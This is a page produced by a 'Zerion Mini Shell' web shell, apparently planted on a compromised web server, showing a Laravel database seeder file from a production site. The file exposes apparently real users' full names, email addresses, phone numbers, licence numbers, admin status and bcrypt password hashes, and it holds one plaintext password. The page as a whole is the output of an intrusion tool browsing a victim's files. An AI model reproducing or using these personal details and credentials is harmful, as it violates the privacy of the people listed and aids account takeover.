%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex_o/production/database/seeders/
Upload File :
Create Path :
Current File : /www/loslex_o/production/database/seeders/UserSeeder.php

<?php

namespace Database\Seeders;

use Illuminate\Support\Str;
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\DB;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;

class UserSeeder extends Seeder
{
    /**
     * Run the database seeds.
     */
    public function run(): void
    {
        DB::table('users')->insert(['id' => 1, 'firstname' => 'David', 'lastname' => 'Klementa', 'username' => 'ilicz', 'email' => 'ilicz@inmail.cz', 'password' => '$2y$10$7bjrXS0y8mLqQi5pFtMcaen8wKCVj.Vdvu7QBIjmrByzestEmXGGS', 'phone_number' => '+420721811539', 'licence_number' => 'AL849201', 'is_active' => true, 'is_admin' => true, 'created_at' => date('Y-m-d H:i:s'), 'email_verified_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 2, 'firstname' => 'Martin', 'lastname' => 'Vařák', 'username' => 'waritko', 'email' => 'martin@varak.net', 'password' => '$2y$10$/QOozePKJw.8./O9srtStunJZSu3c6owhklGStUz5.cIF2.WG5vAS', 'phone_number' => '+420777558159', 'licence_number' => 'AL590123', 'is_active' => true, 'is_admin' => true, 'created_at' => date('Y-m-d H:i:s'), 'email_verified_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 3, 'firstname' => 'Jan', 'lastname' => 'Korecký', 'username' => 'cmk', 'email' => 'j.korecky@seznam.cz', 'password' => '$2y$10$9gA1xpje8afTm.kw5AZBCOvUP13Ev17qQlxEPgqXExRsu.VLms9u2', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 4, 'firstname' => 'Zdenek', 'lastname' => 'Veselý', 'username' => 'joerg', 'email' => 'vesely-zdenek@email.cz', 'password' => 'Aa123456789', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 5, 'firstname' => 'Jan', 'lastname' => 'Michna', 'username' => 'euquapo', 'email' => 'michnajan.jm@gmail.com', 'password' => '', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 6, 'firstname' => 'Jaroslav', 'lastname' => 'Žiška', 'username' => 'ghoust', 'email' => 'ghoust@seznam.cz', 'password' => '', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 7, 'firstname' => 'Jan', 'lastname' => 'Korecký', 'namesuffix' => 'ml.', 'username' => 'vejbej', 'email' => 'jkorecky08@gmail.com', 'password' => '', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 8, 'firstname' => 'Pavel', 'lastname' => 'Raška', 'username' => 'eab', 'email' => 'eab@seznam.cz', 'password' => '', 'is_active' => true, 'is_admin' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 9, 'firstname' => 'Marian', 'lastname' => 'Lukačovič', 'username' => 'hungry', 'email' => 'guncenter@seznam.cz', 'password' => '', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['id' => 10, 'firstname' => 'Miroslav', 'lastname' => 'Starčevič', 'username' => 'MiraStar', 'email' => 'starcevic@antaresdefense.cz', 'password' => '', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);

        // test uživatelé
        DB::table('users')->insert(['firstname' => 'Tester', 'lastname' => 'Wařítko', 'username' => 'testWaritko', 'email' => 'waritko@mailinator.com', 'password' => '', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
        DB::table('users')->insert(['firstname' => 'Tester', 'lastname' => 'Ilicz', 'username' => 'testIlicz', 'email' => 'ilicz@seznam.cz', 'password' => '$2y$10$cmC3Z8LE35ijDr0EG.crxONHa8BhALFc9rezGN49hllT40kPPCD1u', 'is_active' => true, 'created_at' => date('Y-m-d H:i:s'), 'personaltoken' => Str::uuid()]);
    }
}

Zerion Mini Shell 1.0